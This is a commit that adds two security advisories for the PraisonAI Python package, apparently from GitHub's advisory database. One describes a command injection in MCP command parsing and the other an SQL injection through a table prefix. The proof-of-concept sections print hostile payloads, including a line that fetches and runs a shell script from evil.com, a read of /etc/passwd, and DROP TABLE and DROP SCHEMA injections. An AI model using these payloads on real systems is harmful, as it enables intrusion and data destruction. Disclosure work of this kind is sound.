Skip to content

Commit a469af6

Browse files
1 parent 7c6a40e commit a469af6

File tree

2 files changed

+146
-0
lines changed

2 files changed

+146
-0
lines changed
Lines changed: 66 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-9qhq-v63v-fv3j",
4+
"modified": "2026-04-17T22:23:50Z",
5+
"published": "2026-04-17T22:23:50Z",
6+
"aliases": [],
7+
"summary": "Incomplete fix for CVE-2026-34935: Command Injection in MervinPraison/PraisonAI",
8+
"details": "### Summary\n\nThe fix for PraisonAI's MCP command handling does not add a command allowlist or argument validation to `parse_mcp_command()`, allowing arbitrary executables like `bash`, `python`, or `/bin/sh` with inline code execution flags to pass through to subprocess execution.\n\n### Affected Package\n\n- **Ecosystem:** PyPI\n- **Package:** MervinPraison/PraisonAI\n- **Affected versions:** < 47bff65413be\n- **Patched versions:** >= 47bff65413be\n\n### Details\n\nThe vulnerability exists in `src/praisonai/praisonai/cli/features/mcp.py` in the `MCPHandler.parse_mcp_command()` method. This function parses MCP server command strings into executable commands, arguments, and environment variables. The pre-patch version performs no validation on the executable or arguments.\n\nThe fix commit `47bff654` was intended to address command injection, but the patched `parse_mcp_command()` still lacks three critical controls: there is no `ALLOWED_COMMANDS` allowlist of permitted executables (e.g., `npx`, `uvx`, `node`, `python`), there is no `os.path.basename()` validation to prevent path-based executable injection, and there is no argument inspection to block shell metacharacters or dangerous subcommands.\n\nMalicious MCP server commands such as `python -c 'import os; os.system(\"id\")'`, `bash -c 'cat /etc/passwd'`, and `/bin/sh -c 'wget http://evil.com/shell.sh | sh'` are all accepted by `parse_mcp_command()` and passed directly to subprocess execution without filtering.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nCVE-2026-34935 - PraisonAI command injection via parse_mcp_command()\n\nTests against REAL PraisonAI mcp.py from git at commit 66bd9ee2 (parent of fix 47bff654).\nThe pre-patch parse_mcp_command() performs NO validation on the executable or\narguments, allowing arbitrary command execution via MCP server commands.\n\nRepo: https://github.com/MervinPraison/PraisonAI\nPatch commit: 47bff65413beaa3c21bf633c1fae4e684348368c\n\"\"\"\n\nimport sys\nimport os\nimport importlib.util\n\n# Load the REAL mcp.py from the cloned PraisonAI repo at vulnerable commit\nMCP_PATH = \"/tmp/praisonai_real/src/praisonai/praisonai/cli/features/mcp.py\"\n\ndef load_mcp_handler():\n \"\"\"Load the real MCPHandler class from the vulnerable source.\"\"\"\n base_path = \"/tmp/praisonai_real/src/praisonai/praisonai/cli/features/base.py\"\n\n spec_base = importlib.util.spec_from_file_location(\"features_base\", base_path)\n mod_base = importlib.util.module_from_spec(spec_base)\n sys.modules[\"features_base\"] = mod_base\n\n with open(MCP_PATH) as f:\n source = f.read()\n\n source = source.replace(\"from .base import FlagHandler\", \"\"\"\nclass FlagHandler:\n def print_status(self, msg, level=\"info\"):\n print(f\"[{level}] {msg}\")\n\"\"\")\n\n ns = {\"__name__\": \"mcp_module\", \"__file__\": MCP_PATH}\n exec(compile(source, MCP_PATH, \"exec\"), ns)\n return ns[\"MCPHandler\"]\n\n\ndef main():\n MCPHandler = load_mcp_handler()\n handler = MCPHandler()\n\n print(f\"Source file: {MCP_PATH}\")\n print(f\"Loaded MCPHandler from real PraisonAI source\")\n print()\n\n malicious_commands = [\n \"python -c 'import os; os.system(\\\"id\\\")'\",\n \"node -e 'require(\\\"child_process\\\").execSync(\\\"whoami\\\")'\",\n \"bash -c 'cat /etc/passwd'\",\n \"/bin/sh -c 'wget http://evil.com/shell.sh | sh'\",\n ]\n\n print(\"Testing parse_mcp_command with malicious inputs:\")\n print()\n\n all_accepted = True\n for cmd_str in malicious_commands:\n try:\n cmd, args, env = handler.parse_mcp_command(cmd_str)\n print(f\" Input: {cmd_str}\")\n print(f\" Command: {cmd}\")\n print(f\" Args: {args}\")\n print(f\" Result: ACCEPTED (no validation)\")\n print()\n except Exception as e:\n print(f\" Input: {cmd_str}\")\n print(f\" Result: REJECTED ({e})\")\n all_accepted = False\n print()\n\n if all_accepted:\n print(\"ALL malicious commands accepted without validation!\")\n print()\n\n with open(MCP_PATH) as f:\n source = f.read()\n\n has_allowlist = \"ALLOWED_COMMANDS\" in source or \"allowlist\" in source.lower()\n has_basename_check = \"os.path.basename\" in source\n has_validation = has_allowlist or has_basename_check\n\n print(f\"Has command allowlist: {has_allowlist}\")\n print(f\"Has basename check: {has_basename_check}\")\n print(f\"Has any command validation: {has_validation}\")\n print()\n\n if not has_validation:\n print(\"COMMAND INJECTION: parse_mcp_command() has NO command validation!\")\n print(\" - No allowlist of permitted executables\")\n print(\" - No argument inspection\")\n print(\" - Arbitrary commands passed directly to subprocess execution\")\n print()\n print(\"VULNERABILITY CONFIRMED\")\n sys.exit(0)\n\n print(\"Some commands were rejected - validation present\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n```\n\n**Steps to reproduce:**\n1. `git clone https://github.com/MervinPraison/PraisonAI /tmp/praisonai_real`\n2. `cd /tmp/praisonai_real && git checkout 47bff654~1`\n3. `python3 poc.py`\n\n**Expected output:**\n```\nVULNERABILITY CONFIRMED\nparse_mcp_command() has NO command validation; arbitrary commands passed directly to subprocess execution without an allowlist.\n```\n\n### Impact\n\nAn attacker who can influence MCP server configuration (e.g., via a malicious plugin or shared configuration file) can execute arbitrary system commands on the host running PraisonAI, enabling full remote code execution, data exfiltration, and lateral movement.\n\n### Suggested Remediation\n\nImplement a strict allowlist of permitted executables (e.g., `npx`, `uvx`, `node`, `python`) in `parse_mcp_command()`. Validate commands against `os.path.basename()` to prevent absolute path injection. Inspect arguments for shell metacharacters and dangerous subcommand patterns (e.g., `-c`, `-e` flags enabling inline code execution).",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "PyPI",
19+
"name": "praisonai"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "4.5.149"
30+
}
31+
]
32+
}
33+
],
34+
"database_specific": {
35+
"last_known_affected_version_range": "<= 4.5.148"
36+
}
37+
}
38+
],
39+
"references": [
40+
{
41+
"type": "WEB",
42+
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-9qhq-v63v-fv3j"
43+
},
44+
{
45+
"type": "ADVISORY",
46+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34935"
47+
},
48+
{
49+
"type": "WEB",
50+
"url": "https://github.com/MervinPraison/PraisonAI/commit/47bff65413beaa3c21bf633c1fae4e684348368c"
51+
},
52+
{
53+
"type": "PACKAGE",
54+
"url": "https://github.com/MervinPraison/PraisonAI"
55+
}
56+
],
57+
"database_specific": {
58+
"cwe_ids": [
59+
"CWE-78"
60+
],
61+
"severity": "CRITICAL",
62+
"github_reviewed": true,
63+
"github_reviewed_at": "2026-04-17T22:23:50Z",
64+
"nvd_published_at": null
65+
}
66+
}
Lines changed: 80 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,80 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-rg3h-x3jw-7jm5",
4+
"modified": "2026-04-17T22:24:19Z",
5+
"published": "2026-04-17T22:24:19Z",
6+
"aliases": [],
7+
"summary": "PraisonAI: SQL Injection via unvalidated `table_prefix` in 9 conversation store backends (incomplete fix for CVE-2026-40315)",
8+
"details": "The fix for [CVE-2026-40315](https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x783-xp3g-mqhp) added input validation to `SQLiteConversationStore` only. Nine sibling backends — MySQL, PostgreSQL, async SQLite/MySQL/PostgreSQL, Turso, SingleStore, Supabase, SurrealDB — pass `table_prefix` straight into f-string SQL. Same root cause, same code pattern, same exploitation. 52 unvalidated injection points across the codebase.\n\n`postgres.py` additionally accepts an unvalidated `schema` parameter used directly in DDL.\n\n### Severity\n\n**High** — CWE-89 (SQL Injection)\n\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N — **8.1**\n\nExploitable in any deployment where `table_prefix` is derived from external input (multi-tenant setups, API-driven configuration, user-modifiable config files). Default config (`\"praison_\"`) is not affected.\n\n### Details\n\nThe [CVE-2026-40315 fix](https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x783-xp3g-mqhp) added this guard to `sqlite.py:52`:\n\n```python\n# sqlite.py — PATCHED\nimport re\nif not re.match(r'^[a-zA-Z0-9_]*$', table_prefix):\n raise ValueError(\"table_prefix must contain only alphanumeric characters and underscores\")\n```\n\nThe following backends perform the identical `table_prefix → f-string SQL` pattern **without this guard**:\n\n| Backend | File | Line | Injection points |\n| ---------------- | -------------------------------------------- | --------------- | ----------------------- |\n| MySQL | `persistence/conversation/mysql.py` | 65 | 5 |\n| PostgreSQL | `persistence/conversation/postgres.py` | 89 (+schema:88) | 10 |\n| Async SQLite | `persistence/conversation/async_sqlite.py` | 43 | 13 |\n| Async MySQL | `persistence/conversation/async_mysql.py` | 65 | 13 |\n| Async PostgreSQL | `persistence/conversation/async_postgres.py` | 63 | 13 |\n| Turso/LibSQL | `persistence/conversation/turso.py` | 66 | 9 |\n| SingleStore | `persistence/conversation/singlestore.py` | 51 | 7 |\n| Supabase | `persistence/conversation/supabase.py` | 68 | 9 |\n| SurrealDB | `persistence/conversation/surrealdb.py` | 57 | 8 |\n| **Total** | **9 backends** | | **52 injection points** |\n\nAdditionally, `praisonai-agents/praisonaiagents/storage/backends.py:179` (`SQLiteBackend`) accepts `table_name` without validation.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nDemonstrates: sqlite.py rejects malicious table_prefix, mysql.py accepts it.\nRun: python3 poc.py (no dependencies required)\n\"\"\"\nimport re\n\npayload = \"x'; DROP TABLE users; --\"\n\n# ── SQLite (patched) ────────────────────────────────────────────────\ntry:\n if not re.match(r'^[a-zA-Z0-9_]*$', payload):\n raise ValueError(\"blocked\")\n print(f\"[SQLite] FAIL — accepted: {payload}\")\nexcept ValueError:\n print(f\"[SQLite] OK — rejected malicious table_prefix\")\n\n# ── MySQL (unpatched) ───────────────────────────────────────────────\nsessions_table = f\"{payload}sessions\"\nsql = f\"CREATE TABLE IF NOT EXISTS {sessions_table} (session_id VARCHAR(255) PRIMARY KEY)\"\nprint(f\"[MySQL] VULN — generated SQL:\\n {sql}\")\n\n# ── PostgreSQL (unpatched — both table_prefix AND schema) ──────────\nschema = \"public; DROP SCHEMA data CASCADE; --\"\nsessions_table = f\"{schema}.praison_sessions\"\nsql = f\"CREATE SCHEMA IF NOT EXISTS {schema}\"\nprint(f\"[Postgres] VULN — schema injection:\\n {sql}\")\n```\n\nOutput:\n\n```\n[SQLite] OK — rejected malicious table_prefix\n[MySQL] VULN — generated SQL:\n CREATE TABLE IF NOT EXISTS x'; DROP TABLE users; --sessions (session_id VARCHAR(255) PRIMARY KEY)\n[Postgres] VULN — schema injection:\n CREATE SCHEMA IF NOT EXISTS public; DROP SCHEMA data CASCADE; --\n```\n\n### Vulnerable code (mysql.py, representative)\n\n```python\n# mysql.py:65-67 — NO validation\nself.table_prefix = table_prefix # ← raw input\nself.sessions_table = f\"{table_prefix}sessions\" # ← into identifier\nself.messages_table = f\"{table_prefix}messages\"\n\n# mysql.py:105 — straight into DDL\ncur.execute(f\"\"\"\n CREATE TABLE IF NOT EXISTS {self.sessions_table} (\n session_id VARCHAR(255) PRIMARY KEY, ...\n )\n\"\"\")\n```\n\nCompare with the patched `sqlite.py:52`:\n\n```python\n# sqlite.py:52-53 — HAS validation\nif not re.match(r'^[a-zA-Z0-9_]*$', table_prefix):\n raise ValueError(\"table_prefix must contain only alphanumeric characters and underscores\")\n```\n\n### Impact\n\nWhen `table_prefix` originates from untrusted input — multi-tenant tenant names, API request parameters, user-editable config — an attacker achieves **arbitrary SQL execution** against the backing database. The injected SQL runs in the context of DDL and DML operations (CREATE TABLE, INSERT, SELECT, DELETE), giving the attacker read/write/delete access to the entire database.\n\nPostgreSQL's `schema` parameter adds a second injection vector in DDL (`CREATE SCHEMA IF NOT EXISTS {schema}`).",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "PyPI",
19+
"name": "praisonai"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "4.5.149"
30+
}
31+
]
32+
}
33+
],
34+
"database_specific": {
35+
"last_known_affected_version_range": "<= 4.5.148"
36+
}
37+
},
38+
{
39+
"package": {
40+
"ecosystem": "PyPI",
41+
"name": "praisonaiagents"
42+
},
43+
"ranges": [
44+
{
45+
"type": "ECOSYSTEM",
46+
"events": [
47+
{
48+
"introduced": "0"
49+
},
50+
{
51+
"fixed": "1.6.8"
52+
}
53+
]
54+
}
55+
],
56+
"database_specific": {
57+
"last_known_affected_version_range": "<= 1.6.7"
58+
}
59+
}
60+
],
61+
"references": [
62+
{
63+
"type": "WEB",
64+
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rg3h-x3jw-7jm5"
65+
},
66+
{
67+
"type": "PACKAGE",
68+
"url": "https://github.com/MervinPraison/PraisonAI"
69+
}
70+
],
71+
"database_specific": {
72+
"cwe_ids": [
73+
"CWE-89"
74+
],
75+
"severity": "HIGH",
76+
"github_reviewed": true,
77+
"github_reviewed_at": "2026-04-17T22:24:19Z",
78+
"nvd_published_at": null
79+
}
80+
}

0 commit comments

Comments
 (0)